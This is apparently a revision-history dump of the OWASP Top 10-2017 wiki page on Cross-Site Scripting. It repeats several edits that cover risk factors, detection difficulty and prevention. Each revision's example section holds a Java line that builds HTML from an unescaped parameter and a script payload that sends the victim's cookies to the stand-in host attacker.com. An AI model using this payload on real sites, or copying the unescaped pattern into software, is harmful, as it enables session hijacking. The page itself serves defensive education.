This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.
Note that attackers can also use XSS to defeat any automated CSRF defense the application might employ. See [[{{Top_10:LanguageFile|text=documentRootTop10|language=en|year=2017 }}-A8-{{Top_10_2010:ByTheNumbers|8|year=2017|language=en}}|2017-A8]] for info on CSRF.

{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=references|position=right|risk=3|year=2017|language=en}}
{{Top_10_2010:SubSubsectionOWASPReferencesTemplate}}
* [[Types of Cross-Site Scripting]]
* [[XSS (Cross Site Scripting) Prevention Cheat Sheet | OWASP XSS Prevention Cheat Sheet]]
* [[DOM_based_XSS_Prevention_Cheat_Sheet | OWASP DOM based XSS Prevention Cheat Sheet]]
* [[OWASP_Java_Encoder_Project#Use_the_Java_Encoder_Project | OWASP Java Encoder API]]
* [[ASVS | ASVS: Output Encoding/Escaping Requirements (V6)]]
* [[AntiSamy | OWASP AntiSamy: Sanitization Library]]
* [[Testing_for_Data_Validation | Testing Guide: 1st 3 Chapters on Data Validation Testing]]
* [[Reviewing_Code_for_Cross-site_scripting | OWASP Code Review Guide: Chapter on XSS Review]]
* [[XSS_Filter_Evasion_Cheat_Sheet | OWASP XSS Filter Evasion Cheat Sheet]]

{{Top_10_2010:SubSubsectionExternalReferencesTemplate|language=en}}
* [http://cwe.mitre.org/data/definitions/79.html CWE Entry 79 on Cross-Site Scripting]

{{Top_10_2013:BottomAdvancedTemplate
|type={{Top_10_2010:StyleTemplate}}
|usenext=2013NextLink
|next=A4-{{Top_10_2010:ByTheNumbers
|4
|year=2017
|language=en}}
|useprev=2013PrevLink
|prev=A2-{{Top_10_2010:ByTheNumbers
|2
|year=2017
|language=en}}
|year=2017
|language=en
}}

Top 10-2017 A7-Cross-Site Scripting (XSS)

2017-05-31T19:54:18Z

Eelgheez: Clarify introduction.

{{Top_10_2013:TopTemplate
|usenext=2013NextLink
|next=A4-{{Top_10_2010:ByTheNumbers
|4
|year=2017
|language=en}}
|useprev=2013PrevLink
|prev=A2-{{Top_10_2010:ByTheNumbers
|2
|year=2017
|language=en}}
|year=2017
|language=en
}}

{{Top_10_2010:SummaryTableHeaderBeginTemplate|year=2017|language=en}}
{{Top_10:SummaryTableTemplate|exploitability=2|prevalence=0|detectability=2|impact=2|year=2017|language=en}}
{{Top_10_2010:SummaryTableHeaderEndTemplate|year=2017}}
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
Consider anyone who can send untrusted data to the system, including external users, business partners, other systems, internal users, and administrators.
</td>
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
Attackers send text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database.
</td>

<td colspan=2 {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
[[Cross-site_Scripting_(XSS) | XSS]] flaws occur when an application updates a web page with attacker controlled data without properly escaping that content or using a safe JavaScript API. There are two primary categories of XSS flaws: (1) [[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Stored]] and (2) [[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Reflected]], and each of these can occur on the a) [[Types_of_Cross-Site_Scripting#Server_XSS | Server ]] or b) on the [[Types_of_Cross-Site_Scripting#Client_XSS | Client]]. Detection of most [[Types_of_Cross-Site_Scripting#Server_XSS | Server XSS]] flaws is fairly easy via testing or code analysis. [[Types_of_Cross-Site_Scripting#Client_XSS | Client XSS]] is very difficult to identify.
</td>
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc.
</td>
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Consider the business value of the affected system and all the data it processes.

Also consider the business impact of public exposure of the vulnerability.

</td>
{{Top_10_2010:SummaryTableEndTemplate}}

{{Top_10:SubsectionTableBeginTemplate|type=main}} {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=vulnerableTo|position=firstLeft|risk=3|year=2017|language=en}}
An application has a Cross-Site Scripting vulnerability if it fails to encode output of user data according to its context in HTML, resulting in crossing the boundary with the scripts sent to the browser. In addition, a vulnerable application could fail to white-list potentially malicious data sources such as <code>window.name</code>, <code>document.referer</code> before passing them to [[Media:Unraveling_some_Mysteries_around_DOM-based_XSS.pdf|unsafe JavaScript APIs]] such as <code>window.eval()</code>, <code>window.setTimeout()</code>, <code>document.write()</code>, <code>new Function()</code>.

Automated tools can find some XSS vulnerabilities and miss others. Besides, each application builds output pages differently and relies on different browser side interpreters such as JavaScript, ActiveX, Flash, Silverlight. The scripts sent to the browser may rely on additional script libraries. Single-page applications may process input on the client side and generate requests to the server independently from user actions. This diversity makes discovering all possible HTTP requests difficult. Test tools may improve the coverage by connecting to a browser that would execute scripts generated by the application and by sending operating system level or browser level input events to the browser. Static and "interactive" analysis may help uncover additional XSS vulnerabilities whose exposure to automated queries depends on a sequence of HTTP requests.
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=howPrevent|position=right|risk=3|year=2017|language=en}}
Preventing XSS requires separation of untrusted data from active browser content.
# Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve [[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]] vulnerabilities. The [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet|OWASP XSS Prevention Cheat Sheet]] has details on the required data escaping techniques.
# Applying context sensitive encoding when modifying the browser document on the client side acts against [[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]. Details specific to client-side input processing reside in [[DOM_based_XSS_Prevention_Cheat_Sheet|OWASP DOM based XSS Prevention Cheat Sheet]].
# Enabling a [https://en.wikipedia.org/wiki/Content_Security_Policy Content Security Policy (CSP)] and moving inline javascript code to additional files will defend against XSS across the entire site, assuming no other vulnerabilities (such as upload path tampering or download path traversal) exist that would allow placing malicious code in the server files.

{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=example|position=left|risk=3|year=2017|language=en}}
The application generating response in <code><nowiki>https://target.test/dashboard</nowiki></code> uses untrusted data in the construction of the following HTML snippet without validation or escaping:

{{Top_10_2010:ExampleBeginTemplate|year=2017}}
(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";
{{Top_10_2010:ExampleEndTemplate}}

The attacker manipulates the `CC' parameter to the following value

{{Top_10_2010:ExampleBeginTemplate|year=2017}}
'><script>document.location='<nowiki>http://www.attacker.com/log?</nowiki>cookies='+encodeURIComponent(document.cookie)</script><foobar p='
{{Top_10_2010:ExampleEndTemplate}}

in the query string and sends the resulting link <code><nowiki>https://target.test/dashboard?CC=...</nowiki></code> with the malicious value to the victim. Alternatively, the attacker can wait for the victim to visit another vulnerable site that will redirect to the target site using the above link. The victim's browser will render the target site's HTML text violated in structure and purpose by the above `CC' parameter value.

{{Top_10_2010:ExampleBeginTemplate|year=2017}}
<input name='creditcard' type='TEXT' value=''><script>document.location='<nowiki>http://www.attacker.com/log?</nowiki>cookies='+encodeURIComponent(document.cookie)</script><foobar p=''>
{{Top_10_2010:ExampleEndTemplate}}

This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.
Note that attackers can also use XSS to defeat any automated CSRF defense the application might employ. See [[{{Top_10:LanguageFile|text=documentRootTop10|language=en|year=2017 }}-A8-{{Top_10_2010:ByTheNumbers|8|year=2017|language=en}}|2017-A8]] for info on CSRF.

{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=references|position=right|risk=3|year=2017|language=en}}
{{Top_10_2010:SubSubsectionOWASPReferencesTemplate}}
* [[Types of Cross-Site Scripting]]
* [[XSS (Cross Site Scripting) Prevention Cheat Sheet | OWASP XSS Prevention Cheat Sheet]]
* [[DOM_based_XSS_Prevention_Cheat_Sheet | OWASP DOM based XSS Prevention Cheat Sheet]]
* [[OWASP_Java_Encoder_Project#Use_the_Java_Encoder_Project | OWASP Java Encoder API]]
* [[ASVS | ASVS: Output Encoding/Escaping Requirements (V6)]]
* [[AntiSamy | OWASP AntiSamy: Sanitization Library]]
* [[Testing_for_Data_Validation | Testing Guide: 1st 3 Chapters on Data Validation Testing]]
* [[Reviewing_Code_for_Cross-site_scripting | OWASP Code Review Guide: Chapter on XSS Review]]
* [[XSS_Filter_Evasion_Cheat_Sheet | OWASP XSS Filter Evasion Cheat Sheet]]

{{Top_10_2010:SubSubsectionExternalReferencesTemplate|language=en}}
* [http://cwe.mitre.org/data/definitions/79.html CWE Entry 79 on Cross-Site Scripting]

{{Top_10_2013:BottomAdvancedTemplate
|type={{Top_10_2010:StyleTemplate}}
|usenext=2013NextLink
|next=A4-{{Top_10_2010:ByTheNumbers
|4
|year=2017
|language=en}}
|useprev=2013PrevLink
|prev=A2-{{Top_10_2010:ByTheNumbers
|2
|year=2017
|language=en}}
|year=2017
|language=en
}}

Top 10-2017 A7-Cross-Site Scripting (XSS)

2017-05-31T19:31:15Z

Eelgheez: Clarify automation challenges.

{{Top_10_2013:TopTemplate
|usenext=2013NextLink
|next=A4-{{Top_10_2010:ByTheNumbers
|4
|year=2017
|language=en}}
|useprev=2013PrevLink
|prev=A2-{{Top_10_2010:ByTheNumbers
|2
|year=2017
|language=en}}
|year=2017
|language=en
}}

{{Top_10_2010:SummaryTableHeaderBeginTemplate|year=2017|language=en}}
{{Top_10:SummaryTableTemplate|exploitability=2|prevalence=0|detectability=2|impact=2|year=2017|language=en}}
{{Top_10_2010:SummaryTableHeaderEndTemplate|year=2017}}
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
Consider anyone who can send untrusted data to the system, including external users, business partners, other systems, internal users, and administrators.
</td>
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
Attackers send text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database.
</td>

<td colspan=2 {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
[[Cross-site_Scripting_(XSS) | XSS]] flaws occur when an application updates a web page with attacker controlled data without properly escaping that content or using a safe JavaScript API. There are two primary categories of XSS flaws: (1) [[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Stored]] and (2) [[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Reflected]], and each of these can occur on the a) [[Types_of_Cross-Site_Scripting#Server_XSS | Server ]] or b) on the [[Types_of_Cross-Site_Scripting#Client_XSS | Client]]. Detection of most [[Types_of_Cross-Site_Scripting#Server_XSS | Server XSS]] flaws is fairly easy via testing or code analysis. [[Types_of_Cross-Site_Scripting#Client_XSS | Client XSS]] is very difficult to identify.
</td>
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc.
</td>
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Consider the business value of the affected system and all the data it processes.

Also consider the business impact of public exposure of the vulnerability.

</td>
{{Top_10_2010:SummaryTableEndTemplate}}

{{Top_10:SubsectionTableBeginTemplate|type=main}} {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=vulnerableTo|position=firstLeft|risk=3|year=2017|language=en}}
You are vulnerable to [[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]] if your server-side code uses user-supplied input as part of the HTML output, and you don’t use context-sensitive escaping to ensure it cannot run. If a web page uses JavaScript to dynamically add attacker-controllable data to a page, you may have [[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]. Ideally, you would avoid sending attacker-controllable data to [[Media:Unraveling_some_Mysteries_around_DOM-based_XSS.pdf|unsafe JavaScript APIs]], but escaping (and to a lesser extent) input validation can be used to make this safe.

Automated tools can find some XSS vulnerabilities and miss others. Besides, each application builds output pages differently and relies on different browser side interpreters such as JavaScript, ActiveX, Flash, Silverlight. The scripts sent to the browser may rely on additional script libraries. Single-page applications may process input on the client side and generate requests to the server independently from user actions. This diversity makes discovering all possible HTTP requests difficult. Test tools may improve the coverage by connecting to a browser that would execute scripts generated by the application and by sending operating system level or browser level input events to the browser. Static and "interactive" analysis may help uncover additional XSS vulnerabilities whose exposure to automated queries depends on a sequence of HTTP requests.
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=howPrevent|position=right|risk=3|year=2017|language=en}}
Preventing XSS requires separation of untrusted data from active browser content.
# Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve [[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]] vulnerabilities. The [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet|OWASP XSS Prevention Cheat Sheet]] has details on the required data escaping techniques.
# Applying context sensitive encoding when modifying the browser document on the client side acts against [[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]. Details specific to client-side input processing reside in [[DOM_based_XSS_Prevention_Cheat_Sheet|OWASP DOM based XSS Prevention Cheat Sheet]].
# Enabling a [https://en.wikipedia.org/wiki/Content_Security_Policy Content Security Policy (CSP)] and moving inline javascript code to additional files will defend against XSS across the entire site, assuming no other vulnerabilities (such as upload path tampering or download path traversal) exist that would allow placing malicious code in the server files.

{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=example|position=left|risk=3|year=2017|language=en}}
The application generating response in <code><nowiki>https://target.test/dashboard</nowiki></code> uses untrusted data in the construction of the following HTML snippet without validation or escaping:

{{Top_10_2010:ExampleBeginTemplate|year=2017}}
(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";
{{Top_10_2010:ExampleEndTemplate}}

The attacker manipulates the `CC' parameter to the following value

{{Top_10_2010:ExampleBeginTemplate|year=2017}}
'><script>document.location='<nowiki>http://www.attacker.com/log?</nowiki>cookies='+encodeURIComponent(document.cookie)</script><foobar p='
{{Top_10_2010:ExampleEndTemplate}}

in the query string and sends the resulting link <code><nowiki>https://target.test/dashboard?CC=...</nowiki></code> with the malicious value to the victim. Alternatively, the attacker can wait for the victim to visit another vulnerable site that will redirect to the target site using the above link. The victim's browser will render the target site's HTML text violated in structure and purpose by the above `CC' parameter value.

{{Top_10_2010:ExampleBeginTemplate|year=2017}}
<input name='creditcard' type='TEXT' value=''><script>document.location='<nowiki>http://www.attacker.com/log?</nowiki>cookies='+encodeURIComponent(document.cookie)</script><foobar p=''>
{{Top_10_2010:ExampleEndTemplate}}

This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.
Note that attackers can also use XSS to defeat any automated CSRF defense the application might employ. See [[{{Top_10:LanguageFile|text=documentRootTop10|language=en|year=2017 }}-A8-{{Top_10_2010:ByTheNumbers|8|year=2017|language=en}}|2017-A8]] for info on CSRF.

{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=references|position=right|risk=3|year=2017|language=en}}
{{Top_10_2010:SubSubsectionOWASPReferencesTemplate}}
* [[Types of Cross-Site Scripting]]
* [[XSS (Cross Site Scripting) Prevention Cheat Sheet | OWASP XSS Prevention Cheat Sheet]]
* [[DOM_based_XSS_Prevention_Cheat_Sheet | OWASP DOM based XSS Prevention Cheat Sheet]]
* [[OWASP_Java_Encoder_Project#Use_the_Java_Encoder_Project | OWASP Java Encoder API]]
* [[ASVS | ASVS: Output Encoding/Escaping Requirements (V6)]]
* [[AntiSamy | OWASP AntiSamy: Sanitization Library]]
* [[Testing_for_Data_Validation | Testing Guide: 1st 3 Chapters on Data Validation Testing]]
* [[Reviewing_Code_for_Cross-site_scripting | OWASP Code Review Guide: Chapter on XSS Review]]
* [[XSS_Filter_Evasion_Cheat_Sheet | OWASP XSS Filter Evasion Cheat Sheet]]

{{Top_10_2010:SubSubsectionExternalReferencesTemplate|language=en}}
* [http://cwe.mitre.org/data/definitions/79.html CWE Entry 79 on Cross-Site Scripting]

{{Top_10_2013:BottomAdvancedTemplate
|type={{Top_10_2010:StyleTemplate}}
|usenext=2013NextLink
|next=A4-{{Top_10_2010:ByTheNumbers
|4
|year=2017
|language=en}}
|useprev=2013PrevLink
|prev=A2-{{Top_10_2010:ByTheNumbers
|2
|year=2017
|language=en}}
|year=2017
|language=en
}}

Top 10-2017 A7-Cross-Site Scripting (XSS)

2017-05-31T19:18:36Z

Eelgheez: Correct the abuse scenario. Change the style from prescriptive to descriptive to sustain the Burden of Proof.

{{Top_10_2013:TopTemplate
|usenext=2013NextLink
|next=A4-{{Top_10_2010:ByTheNumbers
|4
|year=2017
|language=en}}
|useprev=2013PrevLink
|prev=A2-{{Top_10_2010:ByTheNumbers
|2
|year=2017
|language=en}}
|year=2017
|language=en
}}

{{Top_10_2010:SummaryTableHeaderBeginTemplate|year=2017|language=en}}
{{Top_10:SummaryTableTemplate|exploitability=2|prevalence=0|detectability=2|impact=2|year=2017|language=en}}
{{Top_10_2010:SummaryTableHeaderEndTemplate|year=2017}}
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
Consider anyone who can send untrusted data to the system, including external users, business partners, other systems, internal users, and administrators.
</td>
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
Attackers send text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database.
</td>

<td colspan=2 {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
[[Cross-site_Scripting_(XSS) | XSS]] flaws occur when an application updates a web page with attacker controlled data without properly escaping that content or using a safe JavaScript API. There are two primary categories of XSS flaws: (1) [[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Stored]] and (2) [[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Reflected]], and each of these can occur on the a) [[Types_of_Cross-Site_Scripting#Server_XSS | Server ]] or b) on the [[Types_of_Cross-Site_Scripting#Client_XSS | Client]]. Detection of most [[Types_of_Cross-Site_Scripting#Server_XSS | Server XSS]] flaws is fairly easy via testing or code analysis. [[Types_of_Cross-Site_Scripting#Client_XSS | Client XSS]] is very difficult to identify.
</td>
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc.
</td>
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Consider the business value of the affected system and all the data it processes.

Also consider the business impact of public exposure of the vulnerability.

</td>
{{Top_10_2010:SummaryTableEndTemplate}}

{{Top_10:SubsectionTableBeginTemplate|type=main}} {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=vulnerableTo|position=firstLeft|risk=3|year=2017|language=en}}
You are vulnerable to [[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]] if your server-side code uses user-supplied input as part of the HTML output, and you don’t use context-sensitive escaping to ensure it cannot run. If a web page uses JavaScript to dynamically add attacker-controllable data to a page, you may have [[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]. Ideally, you would avoid sending attacker-controllable data to [[Media:Unraveling_some_Mysteries_around_DOM-based_XSS.pdf|unsafe JavaScript APIs]], but escaping (and to a lesser extent) input validation can be used to make this safe.

Automated tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, usually using 3rd party libraries built on top of these technologies. This diveristy makes automated detection difficult, particularly when using modern single-page applications and powerful JavaScript frameworks and libraries. Therefore, complete coverage requires a combination of manual code review and penetration testing, in addition to automated approaches.
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=howPrevent|position=right|risk=3|year=2017|language=en}}
Preventing XSS requires separation of untrusted data from active browser content.
# Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve [[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]] vulnerabilities. The [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet|OWASP XSS Prevention Cheat Sheet]] has details on the required data escaping techniques.
# Applying context sensitive encoding when modifying the browser document on the client side acts against [[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]. Details specific to client-side input processing reside in [[DOM_based_XSS_Prevention_Cheat_Sheet|OWASP DOM based XSS Prevention Cheat Sheet]].
# Enabling a [https://en.wikipedia.org/wiki/Content_Security_Policy Content Security Policy (CSP)] and moving inline javascript code to additional files will defend against XSS across the entire site, assuming no other vulnerabilities (such as upload path tampering or download path traversal) exist that would allow placing malicious code in the server files.

{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=example|position=left|risk=3|year=2017|language=en}}
The application generating response in <code><nowiki>https://target.test/dashboard</nowiki></code> uses untrusted data in the construction of the following HTML snippet without validation or escaping:

{{Top_10_2010:ExampleBeginTemplate|year=2017}}
(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";
{{Top_10_2010:ExampleEndTemplate}}

The attacker manipulates the `CC' parameter to the following value

{{Top_10_2010:ExampleBeginTemplate|year=2017}}
'><script>document.location='<nowiki>http://www.attacker.com/log?</nowiki>cookies='+encodeURIComponent(document.cookie)</script><foobar p='
{{Top_10_2010:ExampleEndTemplate}}

in the query string and sends the resulting link <code><nowiki>https://target.test/dashboard?CC=...</nowiki></code> with the malicious value to the victim. Alternatively, the attacker can wait for the victim to visit another vulnerable site that will redirect to the target site using the above link. The victim's browser will render the target site's HTML text violated in structure and purpose by the above `CC' parameter value.

{{Top_10_2010:ExampleBeginTemplate|year=2017}}
<input name='creditcard' type='TEXT' value=''><script>document.location='<nowiki>http://www.attacker.com/log?</nowiki>cookies='+encodeURIComponent(document.cookie)</script><foobar p=''>
{{Top_10_2010:ExampleEndTemplate}}

This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.
Note that attackers can also use XSS to defeat any automated CSRF defense the application might employ. See [[{{Top_10:LanguageFile|text=documentRootTop10|language=en|year=2017 }}-A8-{{Top_10_2010:ByTheNumbers|8|year=2017|language=en}}|2017-A8]] for info on CSRF.

{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=references|position=right|risk=3|year=2017|language=en}}
{{Top_10_2010:SubSubsectionOWASPReferencesTemplate}}
* [[Types of Cross-Site Scripting]]
* [[XSS (Cross Site Scripting) Prevention Cheat Sheet | OWASP XSS Prevention Cheat Sheet]]
* [[DOM_based_XSS_Prevention_Cheat_Sheet | OWASP DOM based XSS Prevention Cheat Sheet]]
* [[OWASP_Java_Encoder_Project#Use_the_Java_Encoder_Project | OWASP Java Encoder API]]
* [[ASVS | ASVS: Output Encoding/Escaping Requirements (V6)]]
* [[AntiSamy | OWASP AntiSamy: Sanitization Library]]
* [[Testing_for_Data_Validation | Testing Guide: 1st 3 Chapters on Data Validation Testing]]
* [[Reviewing_Code_for_Cross-site_scripting | OWASP Code Review Guide: Chapter on XSS Review]]
* [[XSS_Filter_Evasion_Cheat_Sheet | OWASP XSS Filter Evasion Cheat Sheet]]

{{Top_10_2010:SubSubsectionExternalReferencesTemplate|language=en}}
* [http://cwe.mitre.org/data/definitions/79.html CWE Entry 79 on Cross-Site Scripting]

{{Top_10_2013:BottomAdvancedTemplate
|type={{Top_10_2010:StyleTemplate}}
|usenext=2013NextLink
|next=A4-{{Top_10_2010:ByTheNumbers
|4
|year=2017
|language=en}}
|useprev=2013PrevLink
|prev=A2-{{Top_10_2010:ByTheNumbers
|2
|year=2017
|language=en}}
|year=2017
|language=en
}}

Top 10-2017 A7-Cross-Site Scripting (XSS)

2017-05-31T19:13:18Z

Eelgheez: Correct the abuse scenario. Change the style from prescriptive to descriptive to sustain the Burden of Proof.

{{Top_10_2013:TopTemplate
|usenext=2013NextLink
|next=A4-{{Top_10_2010:ByTheNumbers
|4
|year=2017
|language=en}}
|useprev=2013PrevLink
|prev=A2-{{Top_10_2010:ByTheNumbers
|2
|year=2017
|language=en}}
|year=2017
|language=en
}}

{{Top_10_2010:SummaryTableHeaderBeginTemplate|year=2017|language=en}}
{{Top_10:SummaryTableTemplate|exploitability=2|prevalence=0|detectability=2|impact=2|year=2017|language=en}}
{{Top_10_2010:SummaryTableHeaderEndTemplate|year=2017}}
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
Consider anyone who can send untrusted data to the system, including external users, business partners, other systems, internal users, and administrators.
</td>
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
Attackers send text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database.
</td>

<td colspan=2 {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
[[Cross-site_Scripting_(XSS) | XSS]] flaws occur when an application updates a web page with attacker controlled data without properly escaping that content or using a safe JavaScript API. There are two primary categories of XSS flaws: (1) [[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Stored]] and (2) [[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Reflected]], and each of these can occur on the a) [[Types_of_Cross-Site_Scripting#Server_XSS | Server ]] or b) on the [[Types_of_Cross-Site_Scripting#Client_XSS | Client]]. Detection of most [[Types_of_Cross-Site_Scripting#Server_XSS | Server XSS]] flaws is fairly easy via testing or code analysis. [[Types_of_Cross-Site_Scripting#Client_XSS | Client XSS]] is very difficult to identify.
</td>
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc.
</td>
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Consider the business value of the affected system and all the data it processes.

Also consider the business impact of public exposure of the vulnerability.

</td>
{{Top_10_2010:SummaryTableEndTemplate}}

{{Top_10:SubsectionTableBeginTemplate|type=main}} {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=vulnerableTo|position=firstLeft|risk=3|year=2017|language=en}}
You are vulnerable to [[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]] if your server-side code uses user-supplied input as part of the HTML output, and you don’t use context-sensitive escaping to ensure it cannot run. If a web page uses JavaScript to dynamically add attacker-controllable data to a page, you may have [[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]. Ideally, you would avoid sending attacker-controllable data to [[Media:Unraveling_some_Mysteries_around_DOM-based_XSS.pdf|unsafe JavaScript APIs]], but escaping (and to a lesser extent) input validation can be used to make this safe.

Automated tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, usually using 3rd party libraries built on top of these technologies. This diveristy makes automated detection difficult, particularly when using modern single-page applications and powerful JavaScript frameworks and libraries. Therefore, complete coverage requires a combination of manual code review and penetration testing, in addition to automated approaches.
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=howPrevent|position=right|risk=3|year=2017|language=en}}
Preventing XSS requires separation of untrusted data from active browser content.
# Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve [[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]] vulnerabilities. The [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet|OWASP XSS Prevention Cheat Sheet]] has details on the required data escaping techniques.
# Applying context sensitive encoding when modifying the browser document on the client side acts against [[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]. Details specific to client-side input processing reside in [[DOM_based_XSS_Prevention_Cheat_Sheet|OWASP DOM based XSS Prevention Cheat Sheet]].
# Enabling a [https://en.wikipedia.org/wiki/Content_Security_Policy Content Security Policy (CSP)] and moving inline javascript code to additional files will defend against XSS across the entire site, assuming no other vulnerabilities (such as upload path tampering or download path traversal) exist that would allow placing malicious code in the server files.

{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=example|position=left|risk=3|year=2017|language=en}}
The application generating response in <code><nowiki>https://target.test/dashboard</nowiki></code> uses untrusted data in the construction of the following HTML snippet without validation or escaping:

{{Top_10_2010:ExampleBeginTemplate|year=2017}}
(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";
{{Top_10_2010:ExampleEndTemplate}}

The attacker manipulates the `CC' parameter to the following value

{{Top_10_2010:ExampleBeginTemplate|year=2017}}
'><script>document.location='<nowiki>http://www.attacker.com/log?</nowiki>cookies='+document.cookie</script><foobar p='
{{Top_10_2010:ExampleEndTemplate}}

in the query string and sends the resulting link <code><nowiki>https://target.test/dashboard?CC=...</nowiki></code> with the malicious value to the victim. Alternatively, the attacker can wait for the victim to visit another vulnerable site that will redirect to the target site using the above link. The victim's browser will render the target site's HTML text violated in structure and purpose by the above `CC' parameter value.

{{Top_10_2010:ExampleBeginTemplate|year=2017}}
<input name='creditcard' type='TEXT' value=''><script>document.location='<nowiki>http://www.attacker.com/log?</nowiki>cookies='+document.cookie</script><foobar p=''>
{{Top_10_2010:ExampleEndTemplate}}

This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.
Note that attackers can also use XSS to defeat any automated CSRF defense the application might employ. See [[{{Top_10:LanguageFile|text=documentRootTop10|language=en|year=2017 }}-A8-{{Top_10_2010:ByTheNumbers|8|year=2017|language=en}}|2017-A8]] for info on CSRF.

